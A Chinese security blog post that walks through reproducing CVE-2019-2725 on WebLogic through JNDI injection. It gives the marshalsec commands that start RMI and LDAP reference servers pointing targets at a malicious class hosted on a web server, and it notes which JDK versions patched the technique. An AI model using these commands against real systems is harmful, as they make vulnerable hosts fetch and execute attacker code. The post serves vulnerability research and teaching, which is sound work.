漏洞复现-快速开启RMI&&LDAP

释放双眼,带上耳机,听听看~!

前言

前段时间,在进行CVE-2019-2725复现时,在第二弹使用了JNDI注入。谈到JNDI自然离不开RMI和LDAP。但是,如果要用代码开启RMI服务未免过于麻烦,毕竟每次都要开启一个idea工程。

marshalsec

为了方便,我们可以使用marshalsec。它的GitHub项目主页为:https://github.com/mbechler/marshalsec
这款神器,可以快速开启RMI和LDAP服务。当然你需要下载源码包,使用maven编译。为了大家使用方便,我在文末的链接里面给出我编译好的marshalsec。

开启RMI

首先,我们需要准备一个http协议的链接容器。我使用tomcat,在tomcat下放置一个恶意类ExportObject

ExportObject

接下来执行下面的命令即可开启rmi

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:8080/文件夹/#ExportObject 8088

#后面填写你的恶意类的类名,它会自动绑定URI,8088是你开启rmi服务的端口号,如果不加端口号,它的默认端口号为1099.恶意类建议使用jdk1.6编译

rmi

最终访问的rmi地址为rmi://ip:rmiport/ExportObject

开启LDAP

开启ldap方法差不多,我们只需要将RMIRefServer改为LDAPRefServer即可

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:8080/文件夹/#ExportObject 8088

如果不加端口号,ldap的默认开启端口是1389
最终访问的ldap地址为ldap://ip:ldapport/ExportObject

实战案例

我们可以在CVE-2019-2725的案例中使用JNDI调用ldap或者rmi服务。这里我以ldap服务来举例。
我们只需要将command中的rmi地址改为ldap即可

command

我们看下效果

weblogic控制台

marshalsec控制台

JNDI修复

使用ldap和rmi配合JNDI注入并不是万能的。通过下图,我们可以清楚得知Oracle对其的修复时间。

修复时间

该图由pyn3rd师傅提供。
案例使用的jdk为jdk8u181,刚好是ldap修复的jdk8前一个版本

案例JDK版本

相关文件

最近百度云禁止分享,待解除以后,我将及时分享

鸣谢

pyn3rd

__________________________________________________________

声明:本文章来自清水川崎投稿,仅供白帽子、安全爱好者研究学习,对于用于非法途径的行为,发布者及作者不承担任何责任。

我们建立了一个以知识共享为主的 免费 知识星球,旨在通过相互交流,促进资源分享和信息安全建设,为以此为生的工作者、即将步入此行业的学生等提供各自之力。为保持知识星球长久发展,所有成员需遵守本星球免费规则,鼓励打赏;同时保持每月分享至少一次资源(安全类型资源不限,但不能存在一切违法违规及损害他人利益行为),避免“伸手党”,即使新人我们也鼓励通过分享心得和笔记取得进步,“僵尸粉”将每月定期清理。

想加入我们的微信群,目前聚集了来自全球信息安全公司的CEO,安全部门主管,技术总监,信安创业者,网络安全专家,安全实验室负责人,公司HR,在这里你将获得高质量的技术交流空间,更多的内推高薪信息安全岗位,更多与安全大咖们面对面交流的机会。可以扫码添加我的微信,需提供真实有效的公司名称+姓名,验证通过后可加入···

人已赞赏
安全工具

渗透神器burpsuite汉化版

2019-10-11 17:01:39

安全工具

安全行业测试报告

2019-10-11 17:01:51

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索